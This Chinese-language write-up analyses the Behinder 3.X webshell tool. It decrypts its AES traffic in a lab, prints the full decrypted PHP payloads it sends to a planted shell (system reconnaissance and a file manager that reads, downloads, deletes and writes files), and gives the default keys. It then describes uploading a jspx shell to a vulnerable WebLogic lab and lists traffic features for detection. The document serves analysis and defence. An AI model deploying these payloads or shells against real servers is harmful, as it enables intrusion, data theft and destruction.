冰蝎Behinder 3.X
冰蝎的下载地址:
https://github.com/rebeyond/Behinder
工具作者文章:
https://xz.aliyun.com/t/2744
老版本冰蝎(v2.X)的整体运行流程如下:
新版本的秘钥已经写死在了程序中。
1. 冰蝎流量分析
本机的环境是windows,所以要注意一点是,如果在本地搞了个文件上传漏洞,wireshark在windows环境下无法直接抓取本地的流量,只能看到经过网卡的流量,无法访问localhost,所以可以安装一个Npcap
https://github.com/nmap/npcap/releases
然后打开wireshark时就会有loopback的监听选项,这样就可以选取localhost和本机ip的流量。
本次分析的是冰蝎3.0,和之前的2.0有了些许不同。根据github上版本的声明,它最明显的变化是去除了动态秘钥协商机制,采用预共享秘钥,全程无明文交互,秘钥格式为md5("admin")[0:16]。一般在2.1版本中明显的流量特使是返回16位秘钥,其检测规则即为
^[a-fA-F0-9]{16}$
,在3.0版本是无法生效了。首先依旧是挂马连接,此处的漏洞demo是php的,所以以php版本的shell为例,默认秘钥
e45e329feb5d925b
,是通过md5("rebeyond")[0:16]
得到的,需要说明的是rebeyond
是3.0版本的默认密码Behinder
wireshark抓到这个过程中的数据包如下
冰蝎数据包
(1)第一轮
第一个包是进行秘钥key验证,根据AES加密算法和预共享key进行解密。首先报文内容进行AES解密,秘钥e45e329feb5d925b
,偏移量0123456789abcdef
然后对解得的内容进行base64解码
base64解码结果
如果服务端返回$content变量"22b49108-9219-446c-8ea8-bc509f4f8182"经过加密后的值,则认为key验证通过,进行后续通信并全程加密。
那么接着来看一下响应包,包内容是
mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047YjfczwY6j6hTLsfaBPXFD15m2vi8F0wjcz9uq2Xfc57Ic4eZw366jT+k2k4H0XYdLkaeQ9iEcYSLaesoppLVAVkghq1eUTb
同样,先对报文进行AES解密,得到内容如下,其中有个msg字段
对msg进行base64解密后,得到的值,和上文客户端发送的content变量值一致,可以说明验证通过。
msg MD5解密
(2)第二轮
然后来看第二个发送包。同样对发送包进行AES解密,然后进行base64解码
解码后的明文内容如下
error_reporting(0);
function main() {
ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
$driveList ="";
if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
{
for($i=65;$i<=90;$i++)
{
$drive=chr($i).':/';
file_exists($drive) ? $driveList=$driveList.$drive.";":'';
}
}
else
{
$driveList="/";
}
$currentPath=getcwd();
//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
$osInfo=PHP_OS;
$result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
//echo json_encode($result);
session_start();
$key=$_SESSION['k'];
//echo json_encode($result);
//echo openssl_encrypt(json_encode($result), "AES128", $key);
echo encrypt(json_encode($result), $key);
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}
main();
这个过程就是得到phpinfo、currentPath、driveList、osInfo(windows/winnt,否则driveList为空)
然后再来看响应包,经过AES解密,内容如下
响应包AES解密结果diveList currentPath osInfo
(3)第三轮
发送包AES、base64解密后结果如下
error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function getgbkStr($str){
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
$s1 = iconv('utf-8','gbk//IGNORE',$str);
if($s1 == $str){
return $s1;
}else{
return iconv('utf-8','gbk//IGNORE',$str);
}
}
function delDir($dir)
{
$files = array_diff(scandir($dir), array(
'.',
'..'
));
foreach ($files as $file) {
(is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
function main($mode, $path = ".", $content = "", $charset = "",$newpath)
{
$path=getgbkStr($path);
$result = array();
if ($path == ".")
$path = getcwd();
switch ($mode) {
case "list":
$allFiles = scandir($path);
$objArr = array();
foreach ($allFiles as $fileName) {
$fullPath = $path . $fileName;
if (!function_exists("mb_convert_encoding"))
{
$fileName=getSafeStr($fileName);
}
else
{
$fileName=mb_convert_encoding($fileName, 'UTF-8', mb_detect_encoding($fileName, "UTF-8,GBK"));
}
$obj = array(
"name" => base64_encode($fileName),
"size" => base64_encode(filesize($fullPath)),
"lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath)))
);
$obj["perm"] = is_readable($fullPath) . "," . is_writable($fullPath) . "," . is_executable($fullPath);
if (is_file($fullPath)) {
$obj["type"] = base64_encode("file");
} else {
$obj["type"] = base64_encode("directory");
}
array_push($objArr, $obj);
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(json_encode($objArr));
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "show":
$contents = file_get_contents($path);
$result["status"] = base64_encode("success");
if (function_exists("mb_convert_encoding"))
{
if ($charset=="")
{
$charset = mb_detect_encoding($contents, array(
'GB2312',
'GBK',
'UTF-16',
'UCS-2',
'UTF-8',
'BIG5',
'ASCII'
));
}
$result["msg"] = base64_encode(mb_convert_encoding($contents, "UTF-8", $charset));
}
else
{
if ($charset=="")
{
$result["msg"] = base64_encode(getSafeStr($contents));
}
else
{
$result["msg"] = base64_encode(iconv($charset, 'utf-8//IGNORE', $contents));
}
}
$result = encrypt(json_encode($result),$_SESSION['k']);
echo $result;
break;
case "download":
if (! file_exists($path)) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen($path, "rb");
echo fread($file, filesize($path));
fclose($file);
}
break;
case "delete":
if (is_file($path)) {
if (unlink($path)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "删除成功");
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "删除失败");
}
}
if (is_dir($path)) {
delDir($path);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path."删除成功");
}
echo encrypt(json_encode($result),$_SESSION['k']);
break;
case "create":
$file = fopen($path, "w");
$content = base64_decode($content);
fwrite($file, $content);
fflush($file);
fclose($file);
if (file_exists($path) && filesize($path) == strlen($content)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "上传完成,远程文件大尿:" . $path . filesize($path));
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "上传失败");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
case "append":
$file = fopen($path, "a+");
$content = base64_decode($content);
fwrite($file, $content);
fclose($file);
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($path . "追加完成,远程文件大尿:" . $path . filesize($path));
echo encrypt(json_encode($result),$_SESSION['k']);
break;
case "rename":
if (rename($path,$newpath)) {
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode("重命名完房:" . $newpath);
} else {
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode($path . "重命名失贿");
}
echo encrypt(json_encode($result), $_SESSION['k']);
break;
default:
break;
}
}
function encrypt($data,$key)
{
if(!extension_loaded('openssl'))
{
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
return $data;
}
else
{
return openssl_encrypt($data, "AES128", $key);
}
}$mode="list";$path="D:\wampserver3.2.0\www\upload-labs-0.1\upload/";
main($mode,$path);
最后的响应包AES解密如下:
AES解密结果
[{"name":"Lg==","size":"MA==","lastModified":"MjAyMC0wOC0xOSAwNTowMDo0OQ==","perm":"1,1,","type":"ZGlyZWN0b3J5"},
{"name":"Li4=","size":"NDA5Ng==","lastModified":"MjAyMC0wOC0xOSAwMjo1ODowMg==","perm":"1,1,","type":"ZGlyZWN0b3J5"},
{"name":"cGhvdG8ucGhw","size":"MzM=","lastModified":"MjAyMC0wOC0xOSAwMzowMTo0NQ==","perm":"1,1,","type":"ZmlsZQ=="},
{"name":"c2hlbGwucGhw","size":"NTg5","lastModified":"MjAyMC0wOC0xNiAxMzoxMzoxMg==","perm":"1,1,","type":"ZmlsZQ=="},
{"name":"dGVzdC5waHA=","size":"NTg5","lastModified":"MjAyMC0wOC0xNiAxMzoxMzoxMg==","perm":"1,1,","type":"ZmlsZQ=="}]
这些结果是upload文件夹的创建时间、及其里面文件的创建时间和大小等。对应工具界面来看,就是如下内容
返回结果对应界面
接着再来测试一下jsp木马连接
为了避免搭建环境的麻烦,直接从vulhub上开启了CVE-2018-2894的环境,
weblogic环境开启
从ip:7001端口进入登陆界面,输入图中的用户名和密码进入后台
weblogic后台 burp抓包上传shell但是拿冰蝎连的时候,会显示连接失败无法显示秘钥,目前这个版本好像经常出现这个问题,然后就要换一个jspx的木马上去
jspx木马
然后拿冰蝎重新连接,可以成功连接。用wireshark抓一下流量
wireshark中的流量另外,虽然jsp没成功,也可以看一下jsp的流量。
jsp shell流量2. 新旧版本对比
文章开头说到3.X对于2.X有着一些改变。从本文用的php shell 来对比(左图为2.X,右图为3.X)
php shell对比从代码中可以看出新版去除握手过程的同时将一个key写死在了webshell中作为AES秘钥。另外老版本是把eval写在了__construct构造函数中,而新版是写在__invoke中。其他基本一致。
再来看一下jsp shell 的区别(左图为2.X,右图为3.X)
jsp shell对比
新版本增加了AAAAA、bbbb的首尾字段。和php shell一样,也在shell中写死了一个key,并去除了握手过程。
3. 源码分析
首先看一下冰蝎的文件结构。其代码的核心在core文件夹中,各个类的大致功能如下:
Constants:常量参数,例如不同的userAgent、脚本类型等
Crypt:针对不同server端语言的加解密类
Decrypt:和Crypt类似
Params:调用不同语言的payload,返回其字节序列
PluginResultCallBack、PluginSubmitCallBack、PluginTools:插件类
ShellService:连接shell时的具体操作,如命令执行、文件管理、反弹shell等
冰蝎结构
(1)Constants类
Constants类中定义了很多参数,包括userAgent,因为内置的这些userAgent有些老,所以有的防御拿这些userAgent来检测。
public static String[] userAgents = new String[]{
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", "Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)"};
(2)ShellService类
ShellService类的doConnect
函数代表连接过程,这个函数获得了currentKey,由currentPassword进行md5后取前16位得到。如果msg的值和随机生成的UUID相同,则连接成功,否则进入常规秘钥协商流程。ShellService的构造函数默认加密方式为AES,如果shellcode类型为php, 则headers默认为:"Content-type", "text/html;charset=utf-8"
,但是sendPostRequestBinary函数中将头部定义为"Content-Type", "application/octet-stream"
,并且发送方式定义为POST,所以很多文章中在冰蝎3.0的检测中,选择对Content-type:application/octet-stream
进行检测,因为它是HTTP规范中的一种,限制只能提交二进制,但是很少用到,所以被人们定义为强特征。另外还有文章中写到,因为sendPostRequestBinary函数中数据交互采用的是Java自带的HttpURLConnection类,数据包中默认包含如下内容从而产生了一种流量特征检测思路。
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
Pragma: no-cache
另外需要说明一下Utils类,core文件夹下的这些类很多都用到了Utils类,该类包含getKeyAndCookie、sendPostRequestBinary、getEvalData、getClassFromSourceCode、getSelfPath等函数
防护
防护一般有基于主机的和基于流量的。基于主机包含安全狗、D盾、Host based IDS等,通过对文件的特征码进行检测。基于流量的一般是云WAF、云防火墙、Net Based IDS,对传输的流量数据进行特征检测。可选择基于流量头的检测,包括userAgent、Content-Type: application/octet-stream等。jsp webshell虽然首尾包含AAAAA、bbbb但是对流量影响不大,根据首尾进行检测也不够准确。
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Cache-Control: no-cache
Connection: keep-alive
Content-Type: application/octet-stream